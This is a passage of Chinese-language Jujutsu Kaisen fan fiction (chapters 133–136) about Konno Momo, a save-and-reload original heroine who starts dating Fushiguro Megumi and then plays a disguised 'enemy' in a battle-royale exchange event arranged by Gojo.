“等、等下……”禅院真依用力掰着她的手腕和手指,却无法撼动分毫。 女生的手越发缩紧了。她已经无法呼吸,脸涨得通红。 “住手吧!” 清脆的命令声控制住了今野桃的身体,虽然只有短短一秒,也足够禅院真依从必死的绝境中逃走。 她一连后退几米,才惊魂未定地看向来人。 是东京校的二年级来了。狗卷棘的手还攥着自己的领口,正是他的咒言术让禅院真依死里逃生。 “幸好赶上了。”熊猫匆匆赶到,抹了一把脑袋上的汗,“就知道你们会打起来,别在这个时候找茬啊!你们这群混……” 熊猫的话卡在了喉咙里。 在它的预想中,伏黑惠肯定是打不过东堂葵的,钉崎野蔷薇估计也不会是禅院真依的对手。所以一年级一定会被揍得很惨。 可是现在……被揍的好像是京都校的那两个人? “这、这是怎么了?”它茫然地四下看了看,沉默两秒后,有了结论,“太好了,大家都没事啊。” 你管这叫做没事?! 禅院真依还想说话,东堂葵已经走了过来。 “回去了,真依。”他挠着头,从地上捡起自己刚刚扔掉的外套。 “开什么玩笑!”她咬牙,语气不甘,“我还没……” “不行,我和你不一样,我来东京还有别的事情要做呢。”他唰地一下从腰间抽出了一沓门票,“这可是高田的个别握手会!” 他瞄了一眼正在被伏黑惠关心的女生,郑重地说道:“如果错过的话,我绝对会痛不欲生的!” 禅院真依急促地喘了两口气,最后恨恨地闭上了嘴巴。 她的脖子上一圈青紫色,像是狰狞的项圈。 临走时,东堂葵回头,看向伏黑惠。 “虽然你疑似有女朋友,但你还是没有回答我那个问题。” 什么问题? 二年级的学生不明所以,也跟着看向了毫发无损、手里抱着一个瓶子的男生。 “你喜欢什么样的女人?”东堂葵重复了一遍。 这个问题这么重要吗?伏黑惠不太理解。 其他人的目光他都不在意,唯独她的视线,让他如芒在背。 “……这种事情,只有心动了才会知道吧。”他垂着眼睑,目光落在怀里的瓶子上,“怎么可能有固定答案。” 东堂葵哼了一声,一边走一边说道:“那是因为你已经有了答案。” 已经有了答案?伏黑惠仿佛被戳中了心里所想,白皙的脸颊上突然浮现了两团红晕,瞳孔都在颤动。 “我记住你了,交流会上,一定会好好跟你切磋的。”东堂葵深深地看了一眼今野桃。 没有给他们留下反驳的时间,京都校的两人已经消失在了走道尽头。 “真了不起啊,竟然打赢了东堂!”熊猫走近了这个陌生的女孩,好奇地问道,“你是刚刚来的新生吗?” “不是哦。”今野桃伸手要去拿自己的桃子汽水,伏黑惠旋开了瓶盖才递过去,她对他弯了弯眼睛,仰头一口气喝了大半,才舒服地发出了一声喟叹,“我是小惠的朋友。” 朋友?是小惠在以前学校的朋友吗?可是她怎么会有这么强的实力呢? 女生的身上到处都是谜团,让人想要一探究竟。 手机忽然响起,三个二年级的学生低头一看,是钉崎野蔷薇在群里发了消息。 [别乱说话,她是伏黑的女朋友!还在暧昧期!] 原来如此! 三个学生一下子明白了。 “伏黑是带朋友来逛学校的吗?”熊猫竖起手臂,严肃地说道,“既然这样,那我们就不打扰你们了!” “鲑鱼子!” “我们走吧。”钉崎野蔷薇和禅院真希走在了一块儿,“就不做你们的电灯泡了!” 如果不是五条老师的要求,她才不愿意加入到一对情侣中间去呢!太痛苦了! 二年级的学生们来去匆匆,还把钉崎野蔷薇也一起带走了。眨眼的功夫,自动贩卖机前就只剩下了他们两人。 伏黑惠脸上的红晕还没有彻底散去,他的视线到处游离,不敢落在她的身上。 今野桃挑眉,突然猛地凑近了他。 “还在害羞吗?”她微凉的指尖掠过他的耳廓,“红红的,好可爱。” 伏黑惠像是被戳中要害似的,猛地往后弹了一下。 “我、我带你继续熟悉一下学校……” “不着急。”今野桃握住了他的手腕。 少年的手腕比想象中要细,入手肌肤滑腻、骨节分明。她的大拇指按在青色的血管上,能感受到细微的跳动。 “我有很重要的事情,想和小惠聊一聊。”她的手慢慢顺着他的手臂攀爬上去,从背后看,他们好像抱在了一起。 “什、什么事情?”伏黑惠不敢低头,害怕自己的呼吸会吹起她的额发。 “就是刚刚那个啊,小惠真的没有答案吗?”她语气狡黠,显然有意逗弄他。 果然,见伏黑惠沉默不语,她也没有继续追问。 “嗯哼,走吧,让我看看你们的教学楼……” 她拽着他的手臂,给了他转移话题的台阶。 但这一次,伏黑惠没有顺着她离开。 “有的。”他轻声说道。 今野桃惊讶回眸,清凌凌的瞳孔里只照出他线条分明的侧脸,几乎完美的弧线勾勒出少年俊秀的面容。 伏黑惠的指尖陷入了掌心,他想起钉崎野蔷薇说的“用你的优势!”,想起熊猫走时对他挤眉弄眼的表情,胸口的心跳早已乱了节奏。 “还有……” 仿佛意识到他要说什么,今野桃的呼吸放得很轻。 “不是朋友。”他鼓起勇气,向她伸出了手,用捧着一朵花的力气托住了她的手掌,“是……是喜欢的人。” 最后几个字虽然带着细微的颤抖,但语气却十分地坚定。 今野桃看了一眼好感值,惊觉不知道什么时候,这个数字竟然升到了80。 不过这周目的起点就很高,她“英雄救美”的时候,单纯的少年好感值就已经到达60了。 真可爱啊。 伏黑惠认真地对她说道:“其实我对今野同学……不,我对小桃,也是一见钟情。但是表白这种事情……果然还是应该让我来才行。” 啊,是对主动权的本能追逐吗。 今野桃皱了皱鼻子。 “能和我……交往吗,小桃。”他努力用平稳的声线说道。 今野桃沉吟许久,在这里存了个档。抱歉,她想看看其他选项。 于是她拒绝了。 “是因为我刚刚保护了你吗?这可不是爱情呢,我再考虑一下吧。” 她这么说道。 好感值没变,伏黑惠也没有露出沮丧的表情,只是了然地点头。 “我知道了,我会继续努力的。”他的模样十分乖巧,仿佛只是考试失利,下次绝对会考出好成绩。 果然,已经不会轻易松开手了吗。 今野桃啧了一声,抬手用力揉了一把他蓬松的乱发。 “算了,放过你了。” 读档,回到几分钟前。 “能和我……交往吗,小桃。” “你知道的呀,小惠,我怎么可能拒绝你。” 她猝不及防地把他抱了个满怀,恍惚间,桃子汽水的味道也充盈着他的呼吸。 向来被动的男生终于主动起来,他试探性地扶住了她的腰肢,在没有察觉到抗拒后,一点一点用自己的手臂环抱住她。 这……这就是他的恋人了吗?是只属于他的恋人? 偌大的满足和强烈的惶恐一齐涌上了心头,如海啸将他吞没。他是在无边无际的大海里沉浮的遇难者,怀里是他唯一的救赎。 不知道什么时候,他低下了头,而她仰起了脸。 两人的呼吸纠缠,温热潮湿,像春日里氤氲的雾气。他的目光再次落在了她的唇上,喉结不自觉地滚动了一下。 “小桃……” 唇齿开合,尾音消散于空气中。 “伏黑——!” “钉崎——!” 猛然在耳边炸开的呼喊声让两人如梦初醒,伏黑惠这才意识到自己刚刚想做什么。今野桃不动声色地缩回了探入男生衣服下摆的手,指尖揉搓时,还能感受到腹肌的温度。 都是男朋友了,摸两把没关系吧? 伏黑惠显然没有她这样的淡然自若,他又羞又恼,松开了按在女生后脑上的手,咬牙切齿地召唤出了自己的式神。 “玉犬!” 完全能领悟主人心中所想的两只大狗朝着声音传来的方向冲了过去,很快,不远处的林子里传来了虎杖悠仁的惊呼声。 “哎呀!你们咬我干嘛……痛痛痛!松开松开!” 虎杖悠仁连滚带爬地跑了出来,兴奋地朝两人挥手:“伏黑!噢噢,还有今野!” 两道缝隙出现在他的眼下,两面宿傩得意又带着些许恶意地说道:“看,我没说错吧,他们不就在这里吗。” 他装模作样地对两人说道:“悠仁在看见群里的短信后,可是非常着急地就要过来找你们呢,多亏了我好心指点他方向。” 伏黑惠的额头上蹦出了十字。 “那还真是谢、谢、你、了!” 第133章 五条悟走出来的时候,看见的就是脸上被咬了两排痕迹的虎杖悠仁,他看见五条悟仿佛看见了救星,眼睛顿时亮了起来,像只受惊的兔子般“嗖”地窜到他身后。 “老师!”他缩着脖子,只露出一个粉色的头顶,“伏黑放狗咬我!” “哇哦,真的吗?”五条悟不但没有安慰他,反而噗嗤噗嗤地笑了起来,嘴角上扬着一个恶作剧得逞般的弧度 伏黑惠双手插兜,一脸平静地说道:“两面宿傩跑出来了,我是在帮你打他。” “可是痛的是我诶!”虎杖悠仁瞪大了眼睛,伏黑是把他当傻子吗? 伏黑惠若无其事地别过脸,假装没听见。 好过分!这就是恋爱后脸皮超级进化了的男生吗? 虎杖悠仁哀怨的目光没办法给同期男生造成一丁点伤害,男生清了清嗓子道:“如果没什么别的安排,我就带小桃先回去了。” “不急不急。”五条悟走出来,笑容灿烂得像是要开出花来,弯着腰靠近了女生说道,“这好像是我们比较正式的第一次见面吧,还没做自我介绍,虽然你可能已经认识我了。我叫五条悟哦,你可以叫我五条老师,当然,我更希望你们喊我麻辣教师五条(greatteachergojo)!” 他一边说着,一边比了个夸张的V字手势。 “你好,我叫今野桃,你可以叫我小桃,目前就读于日比谷高中一年级,是伏黑惠的女朋友。”女生礼貌地欠身, “嗯哼。”五条悟点点头,摸着下巴说道,“真的不考虑来高专吗?你看我们学校风景优美、师资力量强大、硬件条件优秀,简直就是一个完美的学校嘛!” “不了。”今野桃维持着完美的微笑说道,“我更想考上心仪的大学。” 不等五条悟继续游说,她突然话锋一转:“冒昧地问一句,五条老师有教师资格证吗?还是说……”她意有所指地顿了顿,“教师资格证是是特别颁发的?” 五条悟闪亮的笑容僵在了脸上。 他的教师资格证……当然是直接发的啊!他哪里有那个闲功夫去考啦! 但这话要是说出来,岂不是显得他很没面子? 今野桃看着他微妙的表情变化,嘴角勾起一抹了然的笑意。 她语气宽容地说道:“总之,我对于咒术界并不……” “可是你来读高专的话,可以保护小惠诶。”五条悟竖起了一根手指,仿佛能看见眼罩背后弯成了月牙的眼睛,“你看京都校的学生多凶啊,上来就要群殴小惠,你不打算来保护一下小惠吗?” 伏黑惠:“?” 不是,话题怎么突然拐到他的身上了?而且这算是什么理由,简直毫无逻辑…… “这……”今野桃犹豫了,她一脸若有所思的样子。 伏黑惠猛地扭头瞪大了眼睛看向她,瞳孔里写满了震惊。 你竟然真的被这种理由说服了啊! 他一时间又好气又好笑,自尊受挫的同时,心里突然又有点酸酸的。 “不要胡说八道啊,五条老师。”伏黑惠挡在了女友和老师的中间,女生站在他背后,能看见掩映在发丝下微红的耳尖。他沉声说道,“我还不至于无能到这种地步。” 五条悟看着他一脸坚定的样子,啧了一声。 竟然没有遗传到他爸爸的基因吗?年少不知软饭香啊。 “行吧,毕竟不能剥夺少年人的青春嘛。”他耸了耸肩膀,夸张地摊手道,“随便你们啦。” 反正手里捏着小惠 ,还怕她跑掉吗。 五条悟对他们吐了吐舌头,像只偷腥成功的猫。 当阳光逐渐西斜,到了该回家的时候。钉崎野蔷薇和虎杖悠仁趴在走廊拐角处,像两只时刻要进行伏击的小猫,虎视眈眈地看着两人。 “禁止~夜不归宿~”虎杖悠仁发出幽幽的声音,“五条老师的特别指令哦。” 新加上的校规,是给谁加的呢,好难猜啊。 “没错!”钉崎野蔷薇咬牙切齿地说道,拳头捏得咔咔作响,“我们可还是学生呢!” 伏黑惠额角暴起一根青筋,瞪了他们两人一眼,一字一句地回道:“我没有想做什么!” ——骗鬼呢!都是十七岁的男生,谁还不知道谁那点小心思? 虎杖投来一个“我信你个鬼”的眼神,目光在两人之间来回扫视,像黑夜里两颗硕大的远光车灯。 在两位同期的“热情护送”下,伏黑惠只能不情不愿地把女朋友送到校门口,夕阳将两人的影子拉得很长,若有似无地重叠在一起。 “回去的路上注意安全,迷路了给我打电话。”他反复叮嘱道,“到家了也要给我发消息。” “嗯嗯。”今野桃含着笑点头。 会担心一个可以徒手拧开特级咒灵天灵盖的强者迷路,真是可爱啊。 伏黑惠的手按在她的肩膀上,指尖微微发烫。百般犹豫后,还是没有往下滑。可恶,想要抱一抱自己的女朋友怎么了,他们就是羡慕嫉妒恨!就算是独处,他也不会、也不会…… 男生的目光反复游离,如蜻蜓点水般掠过女生的嘴唇。他的喉头微微滚动,声音莫名有点沙哑。 “小桃,你……” 身后,两人又演了起来。 “嗷呜!!”身后突然传来夸张的嚎叫,虎杖张牙舞爪地扮演着咒灵,“我是特级咒灵!要把落单的女高中生抓走啦!” 钉崎立即配合地摆出战斗姿势:“看招!正义のmomo旋风拳!” “啊啊啊要死要死!” “甘拜下风吧!我这可是爱的必杀技!” “嗷嗷嗷!” “砰砰砰!” 一个又一个的十字出现在了伏黑惠的脑门上,他深深地吸了一口气,勉强维持着面部表情,顶着后面乒铃乓啷的声音,轻轻推了推今野桃:“好了,你快回去吧。” 今野桃抿了抿唇,忍住笑意,肩膀可疑地抖动着,点头回道:“好的,你也好好休息,有事给我打电话。” “嗯。” 刚走出没多远,身后就传来一阵鸡飞狗跳的动静——玉犬的吠叫、虎杖的哀嚎、钉崎的怒骂,还有伏黑惠忍无可忍的怒吼:“你们两个……都给我适可而止啊!”。 交流会的时间最终定在了十天后,这几天每个人都在努力训练,操场上到处都是他们挥洒的汗水。 “什么?要改变交流会的规则?”禅院真希摘下眼镜擦拭,挑眉问道,“我记得一直以来不都是第一天团体赛,第二天个人赛吗?” “嗯哼,以前是这样啦。”五条悟点点头回道,“不过事实上,交流会的规则是抽取的,两个校长分别提出对决的方式,各花一天的时间,一共进行两天。” 原来如此,所以这一次是哪个校长改变了惯例? 五条悟的嘴角快要咧到耳根:“我啊,很讨厌墨守成规,所以悄悄做了点手脚呢。” 回想起乐岩寺校长盯着纸条时抽搐的皱纹、疑惑的表情,他就忍不住想要捧腹大笑。 他张开双臂做出谢幕姿势:“总之,这次交流会绝对会——” “很糟糕吧。”钉崎面无表情地打断。 在有危险的时候,五条老师是最好的护盾,给人充足的安全感。 在没有危险的时候,五条老师就是危险的源头,让人时刻提心吊胆。 五条悟完全无视吐槽,他夸张地把手张开,仿佛在迎接大家激动的欢呼和掌声:“超级有趣!” 可惜,没一个捧场。 熊猫的拳头抵住额头,一脸深沉:“有一种不祥的预感呢。” “能给个提示吗?”虎杖悠仁举手问道,“至少让我们有个准备吧。” “当然当然。”五条悟竖起了一根手指,语气突然变得低沉又带有压迫感,“提示就是——大、逃、杀。” 第134章 比赛规则改变的消息很快就传遍了两个学校。但别说京都校的了,就连东京校的学生自己,也是在交流会的前一天才得知具体的规则。 五条老师的嘴比蚌壳还要严实,一点细节都不肯透露。 只能从日常的训练中,窥探出一点猫腻。 熊猫曾满头大汗地说道:“感觉我们会被打得很惨。” 同期都在点头附和:“鲑鱼。” 虎杖悠仁干笑道:“不会吧,我们难道不是五条老师最喜爱的学生吗?” 拿到规则后,他们悬着的心终于死了。 比赛一共四小时,期间,场地会设下不许进出的“帐”。每个学生的喉咙、心口、后背位置会贴上一枚表示“1分”的贴纸,三枚贴纸都失去则代表“死亡”出局。 比赛结束,统计两边队伍的分数和存活人数,除贴纸加分外,每多存活一人,分数额外加三,得分多的学校就是最后的胜利者。 一时间,两边学校的学生们开始用或明或暗的目光打量起对面的要害之处,那就是他们胜利的关键点。 东堂葵活动着肩膀,无所谓地说道:“这也不难啊。” 挺好,能不造成太大伤害就取得胜利。 “啧,要先攻破对方的弱点吗?最好可以分而破之……” 五条悟兴高采烈地站在两个学校前面宣布完比赛规则,在众人若有所思的注视下,他不紧不慢地开口道:“之前你们面对比自己强大许多的敌人也敢冲上去是很值得夸奖啦,但实在打不过的情况下,逃跑也并非什么羞耻的事情嘛。所以我和其他老师商量后,决定再增加一个环节。” “哼哼,就算增加再多的环节,实力才能说明一切。”东堂葵的话语得到了同学们的肯定。 “希望看见自己学生输了以后,五条老师不要太生气了。”禅院真依的手指卷着发尾,扬了扬嘴角。 五条悟显然听见了京都校大言不惭的话语,他的笑容不变,继续往下说道:“比赛期间,场内将会有一名非常强大的‘敌人’,祂每半个小时会游走一次,随机出现十分钟,对你们进行攻击。” 非常强大?连五条老师都承认的非常强大,那岂不是劲敌了? 五条悟的语气意味深长:“祂会优先攻击分数最多的那位同学哦。敌人离开后,我们会宣布一次当前得分最高的选手名字。想尽办法,从祂的手中保护好自己的分数吧,别到最后竹篮打水一场空呢。” 这下,所有人的眉头都皱了起来。 他们不高兴,五条悟就高兴了。 “不可以撕下同伴的贴纸,否则成绩无效。”他向学生们抛了个飞吻:“加油哦,期待你们的好成绩!” 伴随着铃声响起,两个学校的学生们从比赛场地的两侧走了进去。黑色的薄膜笼罩住这片区域,“帐”放下来了——比赛开始…… “其实我有点猜测,那个‘非常强大的敌人’,该不会是五条老师自己吧?”熊猫深深地叹了口气。 其他人沉默两秒,不得不承认,这个猜测竟然很有道理。 “感觉是他会做出的事情。”禅院真希扶额说道,“在我们辛苦奋战到一半的时候,他突然冲出来把我们都揍一遍,然后狂笑着扬长而去……” 乌鸦从头顶飞过,扑棱着翅膀掠过树梢,落在了枝丫上,用一双红色的眼睛看着他们。漫长的安静后,伏黑惠咳了两声,打破了这令人窒息的想象:“走吧,不要一直停留在一个地方,很容易被包抄的。” “分头行动?” “可以……” 东京校的一二年级分成了三个队伍,禅院真希、熊猫和伏黑惠,狗卷棘和钉崎野蔷薇,以及虎杖悠仁独自一人成队。 “京都校一定会来找虎杖,所以我们可以将虎杖设为诱饵,对他们进行埋伏。”禅院真希推了推镜片,一道寒光闪过,她淡淡地开口道。 虎杖悠仁并没有作为诱饵的不满,他干劲十足地回应:“好!我们一定可以将他们一网打尽!” “可别高兴得太早,还不知道半小时后那个‘敌人’的实力如何。”熊猫给大家泼了一盆冷水。 确定好战术,每个人都打起了精神,他们整体以三角的形状分散,虎杖悠仁走在最前面,然后左边的队伍是禅院真希,右边是伏黑惠。 林子里时不时有窸窸窣窣的声音,让他们打起了精神。因为“帐”的存在,阳光也变得昏暗许多,使气氛变得越发沉 重。好在虎杖悠仁并不完全是一个人,身边还有两只玉犬。 “嗷呜——!” 玉犬突然的嚎叫划破寂静,虎杖还来不及反应,一道黑影已悍然而至—— 沙包大的拳头裹挟着破空之声猛然朝着虎杖悠仁的面部袭来,毫无留手的意思。虎杖悠仁侧身闪避,却在擦肩而过时,察觉到对方拳风陡然一转,变为凌厉的肘击。 砰! 虎杖悠仁双臂交叉,硬接了东堂葵的这一招,但整个人被震得一连退了十数米远,鞋底在原本平整的地面上犁出了两道深深的沟壑,直到脚跟抵住了一棵大树的树根才停下。 好、好强! 虎杖悠仁甩了甩手臂,暗暗龇牙。 “再来!”东堂葵魁梧的身躯像战车一样滚滚冲来,招式大开大合,每一击都带着将要碾碎一切的气势。 虎杖悠仁在这狂风暴雨的攻势下左支右绌,很快就力有不逮。 东堂葵的眼中精光闪过,宽厚的手掌如闪电般袭向他的喉咙——那里正贴着一枚红色的贴纸。 “鵺!” 式神从身后飞来,尖锐的喙目标明确地朝东堂葵的后背冲过去。旁边两只玉犬已经张大了嘴巴,狠狠咬向他的小腿。 在电光石火间的思考后,东堂葵撤招闪开了。 他没能拿到虎杖悠仁的分数,但伏黑惠也没能夺走他的分数。 第一回合,平分秋色。但真正的狩猎,才刚刚开始。 随着另外两个队伍的赶到,东京校和京都校打成了一团。 但在你来我往中,双方都留有余地,显然在防备着什么。直到西宫桃坐在扫帚上,趁乱从钉崎野蔷薇的背后撕走了一枚贴纸。 “走!” 三轮霞立刻扔出了一颗机械丸制造的小型炸。弹,只听轰隆一声爆炸后,烟尘漫天,为他们的离开提供了相当有效的掩护。 西宫桃有着其他人都没有的优势——她会飞。 当冲出烟雾时,她的脸上还挂着得意的笑容。 “这一分,我们就笑纳啦!” 和她的声音一同响起的,还有一道刺耳的铃响。 “糟糕,花的时间比预计中要多。”禅院真依喘着气,对西宫桃大喊,“快跑!离开这里!” 他们本来计划好,拿到一分后就迅速离开,然后一同应对那个“强大的敌人”。而现在,计划出现了误差。虎杖悠仁的实力比预料的要强,东京校也远比资料上写的难缠。 “好……” 西宫桃的话没能说完,尾音还在空气里回荡,她的身体却从扫帚上直直地栽了下来。 她是被打下来的。 敌人甚至没有露面,击中她的是一块巨大的石头——一块有两个她这么大的石头。 所有人都倒吸了一口凉气。 “西宫!”三轮霞和禅院真依都跑了过去,“你没事吧?!” 好在西宫桃利用咒力保护了自己,否则这一击就得让她变成重伤。 “还、还好……”她按着胸口,钝痛一阵阵地涌上来。 哒、哒、哒—— 沉稳的脚步声越来越近,仿佛踩在每个人的心上,带来十足的压迫感。 他们好像喘不上气了…… 不!是真的喘不上气了! 噗通。 东堂葵没抗住强大的压力,猛地单膝跪倒。大颗大颗的汗珠从额头滚落,他的面色惨白如纸。 而旁边,西宫桃已经陷入了半昏迷状态。 和他们的狼狈形成鲜明对比的,是敌人的游刃有余。 祂高大的身躯笼罩在斗篷里,让人看不清楚模样。熊猫的双手打着颤支撑在地上,根本没办法抬起头,只能用眼角的余光看见祂闲庭信步地在他们之中转来转去,像在菜市场里随意挑拣着。 “好弱啊,你们。”含混的声音嗡嗡地响起,戏谑又带着讥嘲,“这就是五条悟口中,咒术界的未来?噗。” 愤怒如火焰,刹那间席卷了他们的理智。 但……毫无用处。 祂停在了西宫桃的面前,弯腰毫不留情地取走了她身上所有的贴纸。 “第一次,我会淘汰一个人。”祂满怀恶意地笑道,“第二次,是两个;第三次,三个……直到你们,全都出局。” 祂冰冷的视线扫过所有人,低低地笑了起来。 “加油啊,这一次的比赛里,可是允许出现死亡率的哦。” 这一点,京都校的人很清楚。只是,这个规则本来是为杀掉虎杖悠仁准备的。如今,却成为了横在他们喉咙上的刀刃。 十分钟后,祂悄然消失。 死寂笼罩着赛场,只有此起彼伏的急促呼吸声,证明时间仍在流动。 第135章 “还要继续打下去吗?”熊猫冷静地说道,“看起来,我们似乎有更需要共同对付的家伙了。” 东堂葵和京都校的众人脸色阴晴不定。这群天之骄子过惯了所向披靡的日子,少年锐气如同出鞘的刀,宁可折断也不愿收回。但此刻,他们不得不面对一个残酷的现实——即便继续战斗下去,抢到再多分数,也只会是竹篮打水一场空。 哦,不对,比那更糟。分数保不住不说,还要再折损同伴。 原本京都校和东京校两边的人数是一样的,一年级和二年级加起来都是六个人。现在西宫桃被淘汰了,京都校就只有五个人了。 唯一值得庆幸的是,西宫桃不是京都校这边的主攻手。如果刚刚被淘汰的是东堂葵,那么现在比赛的胜负就已经分明了。 “我们还有24分钟确定到底要不要联手。”禅院真希的长刀不耐烦地敲击着地面,发出沉闷的响声,“难道你那边要再付出两个成员的代价才能下定决心吗。” “亦或是让祂拿着我们全军覆没的结果去嘲笑五条老师和你们的校长。”钉崎野蔷薇嘴上说得云淡风轻,其实握着锤子的手用力极了,关节都泛着白色,手背上有青筋暴起。 拒绝的话在嘴边打了个转,又咽了回去。从来没有受过这种挫折的京都校当然不会容忍这样的羞辱,他们立刻有了决定。 “那就联手吧。”东堂葵沉声说道,眼中燃起战意,“选出两个诱饵,设下陷阱,给那家伙来个出其不意。” 说是联手,但立场的转变需要时间。 东堂葵扫了一遍众人,拿到了指挥权。他做出沉思的表情,开始分析这个敌人的特点。 “祂的术式好像是重力?刚刚我感觉好像有一座山压在我的身上,让我完全无法动弹。” “有可能,刚刚我也是这种感觉。” 可惜祂出手太快了,留给他们的线索不多。 “那么诱饵就让我来吧。”三轮霞提议道,“我修习的是新阴流,速度很快,配合简易领域,应该能给祂造成一定的伤害。” 她不敢夸口说自己能打败祂。那个敌人留给他们的心理阴影实在是太深重了。 “那你们呢?”京都校众人齐刷刷看向东京校阵营。 虎杖悠仁正想继续毛遂自荐,却见熊猫举了举手。 “我来当诱饵。”熊猫摸摸自己毛 茸茸的肚子,严肃地说道,“我比较抗击打,到时候会缠住敌人。你们记得抓住时机,全力输出。 一个粗糙的战术就这样出现了,到底能不能成功还要打上一个问号。但至少这应该算是一个好的开始。 钉崎野蔷薇拍了拍一直在走神的男同期,让他猛地惊醒过来。 “在想什么呢?这么入迷。”女生撇撇嘴,用眼睛瞪他,“总不会是在想你的女朋友吧?” 伏黑惠竟然迟疑了。 钉崎野蔷薇大感无语,太阳穴突突直跳,手里的锤子蠢蠢欲动。都这么严肃的时候了,自己的男同期脑子里竟然还想着一些情情爱爱的东西,真是不知道轻重缓急,她今天非要给这个恋爱脑开个瓢。 她正要骂他,却听见伏黑惠吞吞吐吐地说道:“你有没有觉得……那个敌人有点熟悉?” “哈?熟悉?”钉崎野蔷薇的脸都要皱在一起了,“别告诉我那真是五条老师假扮的,那家伙的恶趣味还没——” 她的吐槽戛然而止,伏黑惠不说话,只是目不转睛地盯着钉崎野蔷薇,似是在传递一个荒谬的答案。 钉崎野蔷薇沉默了,她的嘴唇微微发抖,最终挤出一句气音:“你没有问过今野,她的术式是什么吗?” 伏黑惠缓缓地摇头。 钉崎野蔷薇深深地吸了一口气…… 今野桃在放学路上见到五条悟的时候,其实是不惊讶的,她估计他已经把她打探到的情报全都打探得一清二楚了。 她以为他会跟她聊一些关于伏黑惠的事情,也可能会来打探她的术式等等情报。但谁料,他张嘴就是: “要来参加交流会吗?” 今野桃顿了顿,很有礼貌地回道:“小惠已经邀请我了,我可以去观看吗?” 如果他不同意的话,那她当然是没办法去了。 “唔……”五条悟沉吟几秒,说道,“不是作为观众啦,是作为考官哦。有兴趣吗?” 考官?“你的意思……?”今野桃知道五条悟不拘小节,但没想到他会这么随意。一个身份不明的人,真的可以就这样大大咧咧地进入高专吗?还是说,这是最强的自信? “我打算让你来成为这次交流会的‘神秘嘉宾’!”五条悟为自己的这个绝妙念头兴奋不已,“你的任务就是追杀学生!最好是把他们打得落花流水、鬼哭狼嚎!” 确定了,这是真老师。 “既然是五条老师的请求,那我自然恭敬不如从命了。”今野桃弯了弯嘴角,“万一把娇贵的学生打得自尊全无,可别怪我哦。” 五条悟笑得前仰后合,他竖起了一根大拇指,说道:“这正合我意。” 东京校和京都校一年才有一次交流会,目的就是互相沟通交流、联络感情。在五条悟看来,京都校里的孩子们也是未来咒术界的支柱,他很乐意见到他们能像河流汇聚,最后融汇成一条汪洋。 但显然,京都校的学生们在老师的教导下,对东京校有点意见。 没办法,那他就只能下猛药了。 “在面对完全无法战胜的敌人时,弱者就自然而然地学会了团结。”五条悟的双手交叉,背在脑后,似是感慨,“一个人的力量是很渺小的啦,只有团结在一起,才能让这个世界变得更加美好。” 今野桃忍不住看了他几眼。 不得不说,五条悟对于这个世界,有着透彻的智慧。毕竟这个道理,她也是BE了几次才领悟到的。 而那个时候,她和他正是刀刃相向的敌人。 “哈哈,怎么了,被无所不能的五条老师的智慧折服了?现在转学还来得及哦。”五条悟察觉到了她的目光,得意洋洋地开口道,“我可以一对一指导你!这可是绝无仅有的机会……” “不用了。”今野桃礼貌拒绝,“正如五条老师所说,弱者才需要团结,而我不需要。” 五条悟哽住,他皱了皱鼻子,还是没说什么。 “而且,我也不想要让这个世界变得更加美好。”女生的脸上荡漾出了春水般温柔的笑意,“我只想要小惠跟我在一起,就足够了。” 空气突然安静。 “恋爱脑没救了啊。”五条悟扶额叹气,转身时又突然回头,“可别对惠放水!” “当然不会,我想小惠也会不希望我这样做的。”。 刺耳的铃声再次响起,如计划中的那样,披着斗篷的敌人在众人完全没发现的时候悄无声息地出现在了熊猫的身后。 祂的手轻飘飘地按在了熊猫的肩膀上,却让他瞬间动弹不得。 “新阴流!”三轮霞脚下绽放出一圈光芒,她压低了上半身,蓝色的长发飘荡,她将咒力灌注刀身,手中长刀如闪电般乍然划过,“简易领域!” 以她为中心,半径两米的范围内就是她的领域。只要踏入这个领域,就会受到她必中的斩击。 “雕虫小技。” 敌人嗤笑一声,斗篷掀起一角。 咚! 三轮霞猛地往下栽,在千钧一发之际用力将刀刃插入地面,来支撑住自己的身体,才没有摔出个不雅的动作。 斩击甚至连敌人的斗篷都没划破一层,就被挡在了几厘米之外。 “无下限?!” 透过乌鸦的眼睛,在监控室里围观的老师和校长都不约而同地将目光看向了坐在最前面、两只脚架在桌上的男人。 这个斗篷人和五条悟之间的关系是……? “别这样看我,我能保证祂不是五条家的人,也跟我没有一毛钱关系。”他懒洋洋地说道,“这可是我小心挖掘出来的天才呢。” “既然如此,为何要遮遮掩掩?”乐岩寺校长用古板无波的眼神看着五条悟,“让祂加入咒术界,不是更好吗?” “人家不乐意啊。”五条悟一摊手,漫不经心地说道,“毕竟这个咒术界也没什么能吸引人家的地方。” 就在两人说话时,监控里的画面再次变幻。 不知道是不是有了抗性,顶着沉重的压力,熊猫竟然还能勉力行动。只听它怒吼一声,骤然暴起,像一头真正的野兽,用宽大的巴掌和肌肉抱住了敌人的一条腿。 嘶,这条腿怎么比看起来的要细许多…… 来不及多想,狗卷棘拉下围巾,张开口喊道:“不许动!” 剧烈的反噬来得猝不及防,鲜血从他的口中流出,他能感觉到自己喉咙处传来刀割般的痛苦。 只是一击,就让他无法再使用术式。而如此大的代价,换来的却只是她不到两秒钟的停顿。 东堂葵和虎杖悠仁的拳头被祂闪避了,因为担心距离太近被克制,他们都离得较远,因此没能抓住这个转瞬即逝的机会。 “大蛇!”伏黑惠召唤出了式神,脑袋快比人还要大的蟒蛇从影子里蹿出来,张开血盆大口,狠狠咬向敌人。 残影闪过,大蛇咬到了空气。 敌人不知道如何闪现到了伏黑惠的身后,祂抓住了他的手臂,像甩鞭子一样将他甩了出去,和熊猫撞在了一起。 一人一熊猫直到砸断了五六根树干才停下,无力地滚落在地上。 冷汗从钉崎野蔷薇的脑门上滑下来,她开始不确定了。 那个人……真的是今野吗? 说是的话,祂下手可真是狠啊,这一下绝对会受内伤吧! 说不是的话……祂竟然用熊猫给伏黑当肉垫,这这这,这怎么不能算是真爱呢! 第136章 十分钟后,“敌人”翩然离去,留下一地躺倒的伤员。 坏消息——这一次战斗结束,他们再次被淘汰了两个人。熊猫和三轮霞的分数全都被拿走了,连身上藏的额外一分都被搜刮得一干二净——那家伙简直像在玩寻宝游戏! 更坏的消息——每个人都或多或少的受 伤了。钉崎野蔷薇的校服破了好几处,伏黑惠靠在树下直抽冷气,就连最抗揍的东堂葵都在揉着淤青的肩膀。要是再来两轮,他们怕是连站着的力气都没了。 “不,一定有能够获得胜利的办法,不然这个比赛就太不公平了吧。” 钉崎野蔷薇重重地锤了一下树干。 伏黑惠挨着树坐下,他的半边身体都在发出疼痛的讯号。就算有熊猫垫了一下,但强大的力量仍旧让他感受到了双方的差距。 